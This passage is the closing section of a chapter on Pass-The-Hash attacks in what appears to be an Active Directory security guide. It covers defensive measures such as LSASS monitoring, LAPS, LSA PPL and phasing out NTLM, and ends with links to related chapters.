- Monitoring LSASS access and explicit credential usage
- Enforcing least privilege and time-limited administrative access
Strategic Importance:
Pass-The-Hash attacks illustrate fundamental Windows security challenges:
- Legacy protocol support (NTLM) maintains vulnerabilities for backward compatibility
- Credential material stored in memory enables extraction and reuse
- Local administrator password reuse amplifies compromise impact
- Detection requires understanding both authentication protocols and process behavior
In the broader context of Active Directory security, Pass-The-Hash demonstrates why credential protection is paramount. A single compromised system can expose credentials for multiple users, and hash reuse (especially local administrators) enables rapid lateral movement across entire networks. Organizations must prioritize eliminating NTLM, implementing runtime protections like LSA PPL, deploying LAPS for password uniqueness, and establishing robust monitoring for credential-based attacks.
The attack also highlights the importance of assuming breach mentality—even with strong perimeter defenses, insider threats or successful phishing can lead to credential compromise, making post-exploitation defenses and detection capabilities critical components of a comprehensive security strategy.
Previous Chapter: Chapter 22: Skeleton Key
Next Chapter: Chapter 24: Kerberos Overview
Related Chapters:
- Chapter 12: LSASS Protections - LSASS architecture and protection mechanisms
- Chapter 19: LSASS SSPs - Security Support Providers and MSV1_0
- Chapter 16: LSA SAM - Local account hash storage
- Chapter 26: Pass-The-Ticket - Kerberos credential reuse
- Chapter 28: Over-Pass-The-Hash - Using hashes to obtain Kerberos tickets
